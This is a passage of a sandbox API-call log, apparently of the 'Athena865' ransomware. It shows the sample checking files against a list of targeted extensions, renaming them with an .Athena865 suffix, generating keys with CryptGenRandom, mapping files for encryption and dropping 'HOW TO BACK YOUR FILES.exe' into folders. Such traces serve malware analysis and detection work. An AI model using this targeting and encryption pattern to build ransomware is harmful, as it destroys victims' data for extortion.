-1 [0048.933] lstrlenW (lpString="pdb") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0048.933] lstrlenW (lpString="pdm") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0048.933] lstrlenW (lpString="pnz") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0048.933] lstrlenW (lpString="qry") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0048.933] lstrlenW (lpString="qvd") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0048.933] lstrlenW (lpString="rbf") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0048.933] lstrlenW (lpString="rctd") returned 4 [0048.933] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0048.933] lstrlenW (lpString="rod") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0048.933] lstrlenW (lpString="rodx") returned 4 [0048.933] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0048.933] lstrlenW (lpString="rpd") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0048.933] lstrlenW (lpString="rsd") returned 3 [0048.933] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0048.933] lstrlenW (lpString="sas7bdat") returned 8 [0048.933] lstrcmpiW (lpString1="rams.lnk", lpString2="sas7bdat") returned -1 [0048.934] lstrlenW (lpString="sbf") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0048.934] lstrlenW (lpString="scx") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0048.934] lstrlenW (lpString="sdb") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0048.934] lstrlenW (lpString="sdc") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0048.934] lstrlenW (lpString="sdf") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0048.934] lstrlenW (lpString="sis") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0048.934] lstrlenW (lpString="spq") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0048.934] lstrlenW (lpString="te") returned 2 [0048.934] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0048.934] lstrlenW (lpString="teacher") returned 7 [0048.934] lstrcmpiW (lpString1="ams.lnk", lpString2="teacher") returned -1 [0048.934] lstrlenW (lpString="tmd") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0048.934] lstrlenW (lpString="tps") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0048.934] lstrlenW (lpString="trc") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0048.934] lstrlenW (lpString="trc") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0048.934] lstrlenW (lpString="trm") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0048.934] lstrlenW (lpString="udb") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0048.934] lstrlenW (lpString="udl") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0048.934] lstrlenW (lpString="usr") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0048.934] lstrlenW (lpString="v12") returned 3 [0048.934] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0048.934] lstrlenW (lpString="vis") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0048.935] lstrlenW (lpString="vpd") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0048.935] lstrlenW (lpString="vvv") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0048.935] lstrlenW (lpString="wdb") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0048.935] lstrlenW (lpString="wmdb") returned 4 [0048.935] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0048.935] lstrlenW (lpString="wrk") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0048.935] lstrlenW (lpString="xdb") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0048.935] lstrlenW (lpString="xld") returned 3 [0048.935] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0048.935] lstrlenW (lpString="xmlff") returned 5 [0048.935] lstrcmpiW (lpString1="s.lnk", lpString2="xmlff") returned -1 [0048.935] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Default Programs.lnk.Athena865") returned 56 [0048.935] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Default Programs.lnk" (normalized: "c:\\programdata\\start menu\\default programs.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Default Programs.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\default programs.lnk.athena865"), dwFlags=0x1) returned 1 [0048.936] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Default Programs.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\default programs.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.936] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1282) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.937] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.937] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.937] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.937] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x810, lpName=0x0) returned 0x17c [0048.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x810) returned 0x100000 [0048.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.942] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.942] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.943] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.943] CloseHandle (hObject=0x17c) returned 1 [0048.943] CloseHandle (hObject=0x154) returned 1 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.943] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.943] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.944] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.944] lstrcpyW (in: lpString1=0x241e87c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0048.944] lstrlenW (lpString="desktop.ini") returned 11 [0048.944] lstrlenW (lpString="Athena865") returned 9 [0048.944] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0048.944] lstrlenW (lpString=".dll") returned 4 [0048.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0048.944] lstrlenW (lpString=".lnk") returned 4 [0048.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0048.944] lstrlenW (lpString=".ini") returned 4 [0048.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0048.944] lstrlenW (lpString=".sys") returned 4 [0048.944] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0048.944] lstrlenW (lpString="desktop.ini") returned 11 [0048.944] lstrlenW (lpString="bak") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0048.944] lstrlenW (lpString="ba_") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0048.944] lstrlenW (lpString="dbb") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0048.944] lstrlenW (lpString="vmdk") returned 4 [0048.944] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0048.944] lstrlenW (lpString="rar") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0048.944] lstrlenW (lpString="zip") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0048.944] lstrlenW (lpString="tgz") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0048.944] lstrlenW (lpString="vbox") returned 4 [0048.944] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0048.944] lstrlenW (lpString="vdi") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0048.944] lstrlenW (lpString="vhd") returned 3 [0048.944] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0048.945] lstrlenW (lpString="vhdx") returned 4 [0048.945] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0048.945] lstrlenW (lpString="avhd") returned 4 [0048.945] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0048.945] lstrlenW (lpString="db") returned 2 [0048.945] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0048.945] lstrlenW (lpString="db2") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0048.945] lstrlenW (lpString="db3") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0048.945] lstrlenW (lpString="dbf") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0048.945] lstrlenW (lpString="mdf") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0048.945] lstrlenW (lpString="mdb") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0048.945] lstrlenW (lpString="sql") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0048.945] lstrlenW (lpString="sqlite") returned 6 [0048.945] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0048.945] lstrlenW (lpString="sqlite3") returned 7 [0048.945] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0048.945] lstrlenW (lpString="sqlitedb") returned 8 [0048.945] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0048.945] lstrlenW (lpString="xml") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0048.945] lstrlenW (lpString="$er") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0048.945] lstrlenW (lpString="4dd") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0048.945] lstrlenW (lpString="4dl") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0048.945] lstrlenW (lpString="^^^") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0048.945] lstrlenW (lpString="abs") returned 3 [0048.945] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0048.946] lstrlenW (lpString="abx") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0048.946] lstrlenW (lpString="accdb") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0048.946] lstrlenW (lpString="accdc") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0048.946] lstrlenW (lpString="accde") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0048.946] lstrlenW (lpString="accdr") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0048.946] lstrlenW (lpString="accdt") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0048.946] lstrlenW (lpString="accdw") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0048.946] lstrlenW (lpString="accft") returned 5 [0048.946] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0048.946] lstrlenW (lpString="adb") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.946] lstrlenW (lpString="adb") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.946] lstrlenW (lpString="ade") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0048.946] lstrlenW (lpString="adf") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0048.946] lstrlenW (lpString="adn") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0048.946] lstrlenW (lpString="adp") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0048.946] lstrlenW (lpString="alf") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0048.946] lstrlenW (lpString="ask") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0048.946] lstrlenW (lpString="btr") returned 3 [0048.946] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0048.947] lstrlenW (lpString="cat") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0048.947] lstrlenW (lpString="cdb") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0048.947] lstrlenW (lpString="ckp") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0048.947] lstrlenW (lpString="cma") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0048.947] lstrlenW (lpString="cpd") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0048.947] lstrlenW (lpString="dacpac") returned 6 [0048.947] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0048.947] lstrlenW (lpString="dad") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0048.947] lstrlenW (lpString="dadiagrams") returned 10 [0048.947] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0048.947] lstrlenW (lpString="daschema") returned 8 [0048.947] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0048.947] lstrlenW (lpString="db-journal") returned 10 [0048.947] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0048.947] lstrlenW (lpString="db-shm") returned 6 [0048.947] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0048.947] lstrlenW (lpString="db-wal") returned 6 [0048.947] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0048.947] lstrlenW (lpString="dbc") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0048.947] lstrlenW (lpString="dbs") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0048.947] lstrlenW (lpString="dbt") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0048.947] lstrlenW (lpString="dbv") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0048.947] lstrlenW (lpString="dbx") returned 3 [0048.947] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0048.948] lstrlenW (lpString="dcb") returned 3 [0048.948] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0048.948] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\desktop.ini.Athena865") returned 47 [0048.948] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\desktop.ini" (normalized: "c:\\programdata\\start menu\\desktop.ini"), lpNewFileName="C:\\ProgramData\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\programdata\\start menu\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0048.948] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\programdata\\start menu\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.948] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=442) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.949] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.949] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.950] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c0, lpName=0x0) returned 0x17c [0048.951] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c0) returned 0x100000 [0048.952] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.952] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.952] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.963] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.964] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.964] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0048.964] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.964] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.964] lstrcpyW (in: lpString1=0x241e87c, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0048.964] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs", dwFileAttributes=0x10) returned 1 [0048.964] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0048.964] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0048.964] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.966] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2=".") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="..") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="windows") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="bootmgr") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="temp") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="pagefile.sys") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="boot") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="ids.txt") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="ntuser.dat") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="perflogs") returned 1 [0048.966] lstrcmpiW (lpString1="Windows Update.lnk", lpString2="MSBuild") returned 1 [0048.966] lstrlenW (lpString="Windows Update.lnk") returned 18 [0048.966] lstrcpyW (in: lpString1=0x241e87c, lpString2="Windows Update.lnk" | out: lpString1="Windows Update.lnk") returned="Windows Update.lnk" [0048.967] lstrlenW (lpString="Windows Update.lnk") returned 18 [0048.967] lstrlenW (lpString="Athena865") returned 9 [0048.967] lstrcmpiW (lpString1="pdate.lnk", lpString2="Athena865") returned 1 [0048.967] lstrlenW (lpString=".dll") returned 4 [0048.967] lstrcmpiW (lpString1="Windows Update.lnk", lpString2=".dll") returned 1 [0048.967] lstrlenW (lpString=".lnk") returned 4 [0048.967] lstrcmpiW (lpString1="Windows Update.lnk", lpString2=".lnk") returned 1 [0048.967] lstrlenW (lpString=".ini") returned 4 [0048.967] lstrcmpiW (lpString1="Windows Update.lnk", lpString2=".ini") returned 1 [0048.967] lstrlenW (lpString=".sys") returned 4 [0048.967] lstrcmpiW (lpString1="Windows Update.lnk", lpString2=".sys") returned 1 [0048.967] lstrlenW (lpString="Windows Update.lnk") returned 18 [0048.967] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Windows Update.lnk.Athena865") returned 54 [0048.967] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\start menu\\windows update.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Windows Update.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\windows update.lnk.athena865"), dwFlags=0x1) returned 1 [0048.968] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Windows Update.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\windows update.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.968] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1266) returned 1 [0048.968] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.969] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.969] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.969] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x800, lpName=0x0) returned 0x154 [0048.971] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x800) returned 0x100000 [0048.971] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.972] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.972] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.973] FindNextFileW 